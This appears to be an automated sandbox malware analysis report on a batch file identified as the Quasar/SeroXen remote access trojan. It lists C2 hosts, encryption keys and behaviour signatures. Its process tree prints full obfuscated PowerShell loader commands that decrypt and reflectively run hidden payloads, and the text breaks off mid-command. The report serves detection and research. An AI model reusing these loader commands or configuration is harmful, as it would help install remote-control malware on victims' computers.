Resubmissions

20/06/2026, 19:57

260620-ypk74aas9y10

04/06/2026, 19:51

260604-yk3xcady7m10

Analysis

  • max time kernel
    111s
  • max time network
    110s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 19:51

General

  • Target
    Naive Builder.bat
  • Size 12.8MB
  • Sample260604-yk3xcady7m
  • SHA256 efd80dd8487437f58413be6e7d2da6ea866ae7626b3225dbf326e8c82c85e580
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • quasar

Version
  • 1.0.0.0

Botnet
  • v15.6.3 | xen

C2
  • studies-royal.at.ply.gg:31849

  • usa-departments.at.ply.gg:37274

  • category-in.at.ply.gg:42204

Mutex
  • bd62476d-8a2b-4e05-a8e5-68cc94baac4f

Attributes
  • encryption_key

    AA41DD5506DCFCA6EE3BF934CC3C9319F80E5E10

  • install_name

    .exe

  • key_salt

    bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941

  • log_directory

    $sxr-Logs

  • reconnect_delay

    5000

  • startup_key

    $sxr-seroxen

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Family: Seroxen, Ser0xen

    Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.

  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Drops file in System32 directory 10 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Costura .NET executable packer 3 IoCs

    Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:628
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:456
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{8d5a3d22-4d6d-4338-ad20-a17c5a11ea9b}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6060
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{8458c9e8-4679-4d7e-b164-4879b6fc4379}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3140
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{68adf73e-fe5a-40c7-8b7a-381fee5a4b89}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4584
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{7578b85e-ed99-4973-a9d4-b9f9848d7637}
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4816
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{b6274a85-f11a-4e2c-b38b-0c8e0f6720c5}
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3044
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:684
        • C:\Windows\System32\WUDFHost.exe
          "C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-0b95cae4-9ccc-4d09-90bd-805e0f50bf22 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-1fa03e51-e833-46e4-afa1-d8a510c64ded -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b0f1897c-dd70-4646-bae3-52d289f3da3e -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-79fc7376-8b41-454a-8ff1-942c3244c331 -LifetimeId:7e547cb0-238c-4b5c-8767-2397ecde90e1 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
          1⤵
            PID:892
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
            1⤵
              PID:388
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
              1⤵
                PID:1028
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:1080
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                  1⤵
                    PID:1168
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                      PID:1180
                      • C:\Windows\system32\taskhostw.exe
                        taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                        2⤵
                          PID:2584
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                        1⤵
                          PID:1236
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                          1⤵
                            PID:1248
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                            1⤵
                              PID:1268
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                              1⤵
                                PID:1352
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
                                1⤵
                                  PID:1388
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                  1⤵
                                    PID:1436
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                    1⤵
                                      PID:1504
                                      • C:\Windows\system32\sihost.exe
                                        sihost.exe
                                        2⤵
                                          PID:2260
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                        1⤵
                                        • Indicator Removal: Clear Windows Event Logs
                                        PID:1752
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k NetworkService -p
                                        1⤵
                                          PID:1760
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                          1⤵
                                            PID:1796
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                            1⤵
                                              PID:1804
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                              1⤵
                                                PID:1920
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                1⤵
                                                  PID:1964
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                  1⤵
                                                    PID:1980
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1340
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:2072
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                        1⤵
                                                          PID:2084
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                          1⤵
                                                            PID:2176
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                            1⤵
                                                              PID:2188
                                                            • C:\Windows\System32\spoolsv.exe
                                                              C:\Windows\System32\spoolsv.exe
                                                              1⤵
                                                                PID:2264
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                1⤵
                                                                  PID:2388
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                  1⤵
                                                                    PID:2536
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                    1⤵
                                                                      PID:2544
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                      1⤵
                                                                        PID:2576
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                        1⤵
                                                                          PID:2596
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                          1⤵
                                                                            PID:2652
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                            1⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2668
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                            1⤵
                                                                              PID:2720
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                              1⤵
                                                                                PID:2808
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                1⤵
                                                                                  PID:2764
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                  • Suspicious use of SendNotifyMessage
                                                                                  PID:3208
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat"
                                                                                    2⤵
                                                                                    • Drops file in Windows directory
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:2096
                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                      3⤵
                                                                                        PID:1720
                                                                                      • C:\Windows\system32\net.exe
                                                                                        net session
                                                                                        3⤵
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:568
                                                                                        • C:\Windows\system32\net1.exe
                                                                                          C:\Windows\system32\net1 session
                                                                                          4⤵
                                                                                            PID:5876
                                                                                        • C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe
                                                                                          "Naive Builder.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function mJkVt($luVLu){ $XURkq=[System.Security.Cryptography.Aes]::Create(); $XURkq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XURkq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XURkq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EJfVxric5nYI0sCifeM7QtCynXluiHdjC3MMcb2UUrA='); $XURkq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IIC8RBkY6uF/2e5D1cUgfg=='); $XhpAT=$XURkq.CreateDecryptor(); $return_var=$XhpAT.TransformFinalBlock($luVLu, 0, $luVLu.Length); $XhpAT.Dispose(); $XURkq.Dispose(); $return_var;}function hLEOv($luVLu){ $SBbXV=New-Object System.IO.MemoryStream(,$luVLu); $RlXKT=New-Object System.IO.MemoryStream; $XPinw=New-Object System.IO.Compression.GZipStream($SBbXV, [IO.Compression.CompressionMode]::Decompress); $XPinw.CopyTo($RlXKT); $XPinw.Dispose(); $SBbXV.Dispose(); $RlXKT.Dispose(); $RlXKT.ToArray();}function tzqfR($luVLu,$MCcIJ){ $VEHZu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$luVLu); $cUkGe=$VEHZu.EntryPoint; $cUkGe.Invoke($null, $MCcIJ);}$flgbs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat').Split([Environment]::NewLine);foreach ($zFvRn in $flgbs) { if ($zFvRn.StartsWith(':: ')) { $TRCCB=$zFvRn.Substring(4); break; }}$YrvSK=[string[]]$TRCCB.Split('\');$xplph=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[0])));$vNzEy=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[1])));tzqfR $vNzEy (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));tzqfR $xplph (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
                                                                                          3⤵
                                                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                          • Deletes itself
                                                                                          • Executes dropped EXE
                                                                                          • Drops file in System32 directory
                                                                                          • Suspicious use of SetThreadContext
                                                                                          • Drops file in Windows directory
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:1108
                                                                                          • C:\Windows\$sxr-powershell.exe
                                                                                            "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); $AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))
                                                                                            4⤵
                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                            • Executes dropped EXE
                                                                                            • Hide Artifacts: Hidden Window
                                                                                            • Drops file in System32 directory
                                                                                            • Suspicious use of SetThreadContext
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:2172
                                                                                            • C:\Windows\$sxr-powershell.exe
                                                                                              "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2172).WaitForExit();[System.Threading.Thread]::Sleep(5000); function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); $AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 